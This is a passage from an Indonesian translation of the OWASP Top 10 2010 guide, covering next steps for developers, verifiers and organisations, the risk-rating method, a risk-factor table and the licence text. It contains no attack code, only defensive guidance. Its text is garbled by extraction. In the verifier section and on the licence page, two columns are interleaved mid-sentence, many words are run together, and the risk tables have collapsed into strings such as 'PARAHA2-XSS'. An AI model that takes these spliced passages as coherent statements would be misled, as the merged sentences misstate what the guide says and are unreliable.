pengembang sangat mempermudah Kendali pengembangan aplikasi yang aman. OWASP merekomendasikan proyek OWASP Enterprise Keamanan Security API (ESAPI) sebagai suatu model API keamanan yang dibutuhkan untuk menghasilkan Standar aplikasi web yang aman. ESAPI menyediakan referensi implementasi dalam Java, .NET, PHP, Classic ASP, Python, dan Cold Fusion. •Untuk meningkatkan proses yang diikuti oleh organisasi Anda ketika membangun aplikasi yang Secure aman, OWASP merekomendasikan OWASP Software Assurance Maturity Model (SAMM). Model Development ini membantu organisasi memformulasikan dan mengimplementasikan strategi keamanan Lifecycle software yang disesuaikan dengan risiko-risiko spesifik yang dihadapi organisasi. •Proyek OWASP Education menyediakan bahan pelatihan untuk membantu mengedukasi Pendidikan pengembang mengenai keamanan aplikasi web, dan telah mengkompilasi daftar OWASP Keamanan Educational Presentations. Untuk belajar hands-on mengenai vulnerabilities, cobalah OWASP Aplikasi WebGoat. Untuk tetap terkini, hadirilah OWASP AppSec Conference, OWASP Conference Training, atau pertemuan OWASP Chapter lokal.Ada banyak sumber daya tambahan OWASP yang tersedia untuk anda gunakan. Harap kunjungi OWASP Projects, yangmenampilkan semua proyek OWASP, diatur berdasarkan kualitas rilis proyek-proyek tersebut (Kualitas Rilis, Beta, atau Alpha).Sebagian besar sumber daya OWASP tersedia di wiki kami, dan banyak dokumen OWASP dapat dipesan dalam bentuk hardcopy.
    • +V Apa Selanjutnya Untuk VerifiersJadikan TerorganisirUntuk memverifikasi keamanan aplikasi web yang telah anda dikembangkan atau pertimbangkan untuk dibeli, OWASPmerekomendasikan anda mereview kode aplikasi (jika tersedia) dan melakukan pengujian aplikasi. OWASP merekomendasikankombinasi review kode aplikasi dan penetration testing terhadap aplikasi selama memungkinkan, karena hal tersebutmemungkinkan anda mengungkit kekuatan keduanya, dan mereka saling melengkapi satu sama lain. Perangkat-perangkat untukmembantu proses verifikasi dapat meningkatkan efisiensi dan efektivitas seorang analis ahli. Perangkat penilaian OWASPberfokus membantu seorang pakar menjadi lebih efektif, bukan mengotomasi proses analis itu sendiri.Standardisasi Cara Melakukan Verifikasi Keamanan Aplikasi Web: Untuk membantu organisasi mengembangkan tingkatanketelitian yang terdefinisi dengan baik dan konsisten saat melakukan penilaian keamanan aplikasi web, OWASP telahmenerbitkan OWASP Application Security Verification Standard (ASVS). Dokumen ini mendefinisikan standar verifikasi minimumketika melakukan penilaian keamanan aplikasi web. OWASP merekomendasikan Anda menggunakan ASVS tidak hanya sebagaipanduan tentang apa yang perlu dicari saat memverifikasi keamanan aplikasi web, tapi juga teknik apa yang paling tepat untukdigunakan, serta membantu Anda mendefinisikan dan menentukan level keamanan aplikasi web ketika memverifikasi keamananaplikasi web. OWASP juga merekomendasikan Anda menggunakan ASVS untuk membantu mendefinisikan dan memilih jasapenilaian aplikasi web yang ingin anda beli dari pihak ketiga.Paket Perangkat Penilai: OWASP Live CD Project telah mengumpulkan berbagai perangkat keamanan open source terbaik kedalam sebuah bootable CD environment. Para pengembang web, penguji, dan profesional keamanan dapat mem-boot dari LiveCD ini untuk segera memiliki akses ke sebuah paket lengkap pengujian keamanan. Tidak diperlukan instalasi atau konfigurasiuntuk menggunakan perangkat dalam CD ini.Review Kode Keamanan dan Pengujian PenetrasiMelakukan review kode merupakan cara terbaik untuk Pengujian Aplikasi: OWASP menerbitkan Testing Guidememverifikasi apakah suatu aplikasi aman. Pengujian hanya untuk membantu para pengembang, penguji, dan pakardapat membuktikan bahwa suatu aplikasi tidak aman. keamanan web, memahami bagaimana melakukan pengujian keamanan web secara efisien dan efektif. Panduan lengkapMelakukan Review Kode: Sebagai pendamping OWASP ini, yang memiliki lusinan kontributor, memberikan cakupanDeveloper’s Guide, dan OWASP Testing Guide, OWASP telah yang luas pada berbagai topik keamanan aplikasi web. Samamenerbitkan OWASP Code Review Guide untuk membantu seperti review kode, pengujian keamanan juga memilikipara pengembang dan ahli keamanan aplikasi memahami cara kekuatannya sendiri. Sangat menarik ketika Anda dapatmelakukan review keamanan aplikasi web secara efisien dan membuktikan sebuah aplikasi tidak aman denganefektif yaitu dengan melakukan review kode. Ada banyak isu menunjukkan exploit-nya. Terdapat banyak isu keamanan,keamanan aplikasi web, seperti Cacat Injeksi, yang lebih khususnya keamanan yang disediakan oleh infrastrukturmudah ditemukan dengan melakukan review kode daripada aplikasi, yang tidak dapat ditemukan hanya dengandengan pengujian eksternal. melakukan review kode, karena aplikasi tidak menyediakan keamanannya sendiri.Perangkat Review Kode: OWASP telah melakukan beberapapekerjaan menjanjikan untuk membantu para pakar dalam Perangkat Pengujian Penetrasi Aplikasi: WebScarab, yangmelakukan analisis kode, namun perangkat ini masih berada merupakan salah satu proyek OWASP paling banyakdalam tahap awal. Para penulis perangkat ini menggunakan digunakan, adalah sebuah proxy pengujian aplikasi web.perangkat ini dalam keseharian mereka saat melakuan review WebScarab memungkinkan analis keamanan menyadapkeamanan kode, namun pemula mungkin menganggap permintaan web, sehingga analis dapat mengetahui caraperangkat tersebut sedikit sulit digunakan. Perangkat ini kerja aplikasi, lalu analis dapat mengirimkan permintaan tesantara lain adalah: CodeCrawler, Orizon, dan O2. untuk melihat apakah aplikasi memberikan respon dengan aman untuk permintaan tersebut. Perangkat ini sangat efektif dalam membantu analis mengidentifikasi cacat XSS, otentikasi dan kendali akses.
    • +O Apa Selanjutnya Untuk OrganisasiMulai Program Keamanan Aplikasi Anda SekarangKeamanan aplikasi bukan lagi sebuah pilihan. Di antara meningkatnya serangan dan tekanan regulasi, organisasi harus memilikikemampuan efektif untuk mengamankan aplikasi mereka. Dengan banyaknya jumlah aplikasi dan jumlah baris kode di lingkunganproduksi, banyak organisasi berjuang untuk menangani kerentanan berjumlah besar. OWASP merekomendasikan organisasimembuat program keamanan aplikasi untuk mendapatkan pandangan dan meningkatkan keamanan di seluruh portofolio aplikasimereka. Memperoleh aplikasi yang aman membutuhkan berbagai bagian dalam suatu organisasi bekerja sama secara efisien,termasuk keamanan dan audit, pengembangan perangkat lunak, dan manajemen bisnis dan eksekutif. Hal ini membutuhkankeamanan terlihat dengan jelas, sehingga pemain berbeda dapat melihat dan mengerti postur keamanan aplikasi organisasi.Dibutuhkan juga fokus pada aktivitas dan hasil yang dapat meningkatkan keamanan perusahaan dengan mengurangi risikodengan cara yang efektif biaya. Beberapa aktivitas kunci program keamanan aplikasi yang efektif mencakup: •Susun program keamanan aplikasi dan lakukan adopsi. •Lakukan analisis gap kemampuan perbandingan organisasi anda dengan organisasi lain untuk Memulai mendefinisikan area perbaikan kunci dan sebuah rencana eksekusi. •Dapatkan persetujuan manajemen dan susun kampanye kewaspadaan keamanan aplikasi untuk seluruh organisasi teknologi informasi. •Identifikasi dan susun prioritas portofolio aplikasi dari perspektif risiko inheren. Pendekatan •Buat model profil risiko aplikasi untuk mengukur dan menyusun prioritas aplikasi dalam portofolio Portofolio anda. Susun panduan jaminan untuk pendefinisian ruang lingkup dan level yang dibutuhkan. Berbasis Risiko •Buat model penilaian risiko dengan satu set kemungkinan terjadi dan faktor akibat yang merefleksikan toleransi organisasi anda terhadap risiko. •Susun satu set kebijakan dan standar yang fokus yang menyediakan basis keamanan aplikasi untuk Jalankan dipatuhi semua tim pengembangan. dengan •Definisikan satu set kendali keamanan umum yang dapat digunakan kembali yang melengkapi Pondasi yang kebijakan dan standar, dan menyediakan panduan desain dan pengembangan dalam penggunaannya. Kuat •Susun kurikulum pelatihan keamanan apikasi yang dibutuhkan dan ditujukan untuk beragam peran pengembangan dan topik. Integrasikan •Definisikan dan integrasikan aktivitas implementasi keamanan dan verifikasi ke proses Keamanan ke pengembangan dan operasional saat ini. Aktivitas meliputi Threat Modeling, Secure Design & Review, dalam Proses Secure Code & Review, Pen Testing, Remediation, dll. Saat Ini •Sediakan pakar dan dukung layanan bagi pengembangan dan tim proyek agar berhasil. •Kelola dengan metriks. Kendalikan perbaikan dan keputusan dana berdasarkan metriks dan analisis Sediakan data yang diperoleh. Metriks meliputi ketaatan pada praktik/aktivitas keamanan, kerentanan yang Visibility muncul, kerentanan yang ditutup, ruang lingkup aplikasi, dll. Manajemen •Analisis data dari aktivitas implementasi dan verifikasi untuk mencari penyebab utama dan pola kerentanan untuk memicu perbaikan strategik dan sistemik di seluruh perusahaan.
    • +R Catatan Mengenai RisikoTentang Risiko, bukan KelemahanMeskipun OWASP Top 10 sebelumnya berfokus pada mengidentifikasi “kerentanan” yang paling umum, dokumen ini sebenarnyaselalu disusun berdasarkan risiko. Hal ini menyebabkan kebingungan yang dapat dimaklumi pada orang yang mencari taksonomikelemahan yang ketat. Update ini mengklarifikasi fokus-risiko pada Top 10 dengan lebih eksplisit mengenai sumber ancaman,vektor serangan, kelemahan, dampak teknis dan dampak bisnis yang dikombinasikan untuk menghasilkan risiko.Untuk melakukannya, kami mengembangkan metodologi penilaian risiko untuk Top 10 yang berdasarkan OWASP Risk RatingMethodology. Untuk setiap Top 10, kami memperkirakan risiko umum yang ditimbulkan setiap kelemahan ke aplikasi webdengan melihat faktor peluang terjadinya dan faktor dampak dari setiap kelemahan. Selanjutnya kami mengurutkan Top 10berdasarkan kelemahan tersebut yang umumnya mendatangkan risiko paling signifikan terhadap aplikasi.OWASP Risk Rating Methodology mendefinisikan beragam faktor untuk membantu menghitung risiko kerentanan yangteridentifikasi. Namun, kerentanan pada Top 10 harus bersifat umum bukannya spesifik. Akibatnya, kami takkan bisa setepatpemilik sistem saat menghitung risiko aplikasi. Kami tidak mengetahui seberapa penting aplikasi dan data anda, apa saja sumberancaman, dan bagaimana sistem dibangun dan dioperasikan.Metodologi kami terdiri dari tiga faktor kemungkinan untuk setiap kelemahan (penyebaran, dapat dideteksi, dan kemudahaneksploitasi) dan satu faktor dampak (dampak teknis). Penyebaran kelemahan adalah faktor yang umumnya tidak perlu andahitung. Untuk data penyebaran, kami telah disediakan statistika penyebaran dari sejumlah organisasi dan kami telah menghitungrata-rata data ini bersama dengan kemungkinan keberadaan Top 10. Data ini selanjutnya dikombinasikan dengan dua faktorkemungkinan lainnya (dapat dideteksi dan tingkat eksploitasi) untuk menghitung tingkat kemungkinan setiap kelemahan. Nilai iniselanjutnya dikalikan dengan nilai rata-rata dampak teknis untuk setiap item sehingga didapatkan ranking risiko untuk setiapitem dalam Top 10.Perlu dicatat bahwa pendekatan ini tidak memperhitungkan faktor sumber ancaman. Dan juga tidak mempertimbangkan faktorrinci teknis pada aplikasi anda. Salah satu faktor ini dapat secara signifikan mempengaruhi kemungkinan penyerang menemukandan mengeksploitasi kerentanan. Perhitungan ini juga tidak memperhitungkan dampak sesungguhnya pada bisnis Anda.Organisasi anda perlu menentukan seberapa besar risiko keamanan aplikasi yang bersedia diterima . Tujuan dari OWASP Top 10adalah bukan untuk melakukan analisis risiko untuk Anda.Ilustrasi di bawah menunjukkan kalkulasi risiko untuk A2: Cross-Site Scripting. Perlu dicatat bahwa XSS sangat menyebar sehinggadipastikan memiliki nilai penyebaran ‘SANGAT TERSEBAR’. Risiko lainnya berkisar dari menyebar ke tidak umum (nilai 1 hingga 3). Vektor Kelemahan Dampak Dampak Agen Serangan Keamanan Teknis Bisnis Ancaman Dapat Tingkat Dapat Dideteksi Dampak __________ Dieksploitasi Penyebaran __________ MUDAH SEDANG RATA-RATA SANGAT TERSEBAR 2 0 1 2 1 * 2 2
    • +F Detail Tentang Faktor RisikoRingkasan Top 10 Faktor RisikoTabel berikut menyajikan ringkasan Top 10 Risiko Keamanan Aplikasi dan faktor-faktor penyusun setiap risiko. Faktor-faktor iniditentukan berdasarkan statistik dan dari pengalaman tim OWASP. Untuk memahami risiko ini bagi aplikasi atau organisasi, Andaharus mempertimbangkan sendiri sumber ancaman dan dampak bisnis. Bahkan kelemahan perangkat lunak yang mengerikanpun tidak menyebabkan risiko tinggi apabila sumber ancaman tidak berada dalam posisi untuk melakukan serangan yangdiperlukan atau dampak bisnis terhadap asetnya dapat diacuhkan. Vektor Kelemahan Dampak Dampak Bisnis RISIKO Sumber Serangan Keamanan Teknis Ancaman Dapat Dieksploitasi Penyebaran Dapat Dideteksi DampakA1-Injection MUDAH UMUM RATA-RATA PARAHA2-XSS RATA-RATA SANGAT TERSEBAR MUDAH SEDANGA3-Auth’n RATA-RATA UMUM RATA-RATA PARAHA4-DOR MUDAH UMUM MUDAH SEDANGA5-CSRF RATA-RATA TERSEBAR MUDAH SEDANGA6-Config MUDAH UMUM MUDAH SEDANGA7-Crypto SUKAR TIDAK UMUM SUKAR PARAHA8-URL Access MUDAH TIDAK UMUM RATA-RATA SEDANGA9-Transport SUKAR UMUM MUDAH SEDANGA10-Redirects RATA-RATA TIDAK UMUM MUDAH SEDANGRisiko Lain untuk DipertimbangkanTop 10 telah meliputi banyak hal mendasar, namun terdapat risiko lain yang harus dipertimbangkan dan dievaluasi dalamorganisasi anda. Beberapa di antaranya muncul di OWASP Top 10 sebelumnya, beberapa lainnya tidak, termasuk teknik seranganbaru yang diidentifikasi selama ini. Risiko keamanan aplikasi penting lainnya (diurut berdasarkan abjad) yang perlu Anda ketahuimeliputi: • Clickjacking (Teknik serangan baru yang ditemukan pada tahun 2008) • Concurrency Flaws • Denial of Service (Di tahun 2004 merupakan OWASP Top 10 – Entry A9) • Information Leakage dan Improper Error Handling (Di tahun 2007 merupakan OWASP Top 10 – Entry A6) • Insufficient Anti-automation • Insufficient Logging and Accountability (Terkait dengan OWASP Top 10 2007 – Entry A6) • Lack of Intrusion Detection and Response • Malicious File Execution (Di tahun 2007 merupakan OWASP Top 10 – Entry A3)
    • IKON BERIKUT INI MEWAKILI VERSI LAIN YANG ANDA BEBAS :TERSEDIA DALAM BENTUK CETAK BAGI JUDULBUKU INI. membagi - menyalin,mendistribusikan, danALPHA:Isi buku "Kualitas Alpha" adalah draft.Isinya masih mentransmisikan karyakasar dan dalam pengembangan hingga tingkatan publikasi mencampur ulang - mengadaptasiberikutnya. karyaBETA: Isi buku "Kualitas Beta" adalah tingkat tertinggiberikutnya.Isinya masih dalam pengembangan hingga DENGAN SYARAT :tingkatan publikasi berikutnya. Attribution. Anda harus menghormati karya dengan cara yang ditentukanRELEASE: Isi buku "Kualitas Rilis" adalah tingkatan tertinggi oleh penulis atau lisensor (namun tidakkualitas dalam daur hidup judul buku, dan merupakan dalam cara yang menyatakan merekaproduk akhir. mendukung anda atau penggunaan karya). Share Alike. Jika anda merubah, mentransformasi, atau membuat sesuatu dari karya ini, anda perlu mendistribusikan hasil karya tersebut hanya dengan lisensi yang sama, serupa atau sesuai. Open Web Application Security Project (OWASP)adalah komunitas bebas dan terbuka global yang berfokus memperbaiki keamanan software aplikasi. Misi kami adalah membuat keamanan aplikasi "terlihat", sehingga orang dan organisasi dapat membuat keputusan berdasarkan informasi mengenai risiko keamanan aplikasi. Setiap orang bebas berpartisipasi dalam OWASP dan seluruh materi kami tersedia dalam lisensi bebas dan terbuka. Yayasan OWASP merupakan organisasi nirlaba 501c1 yang memastikan keberlangsungan dan dukungan bagi karya kami.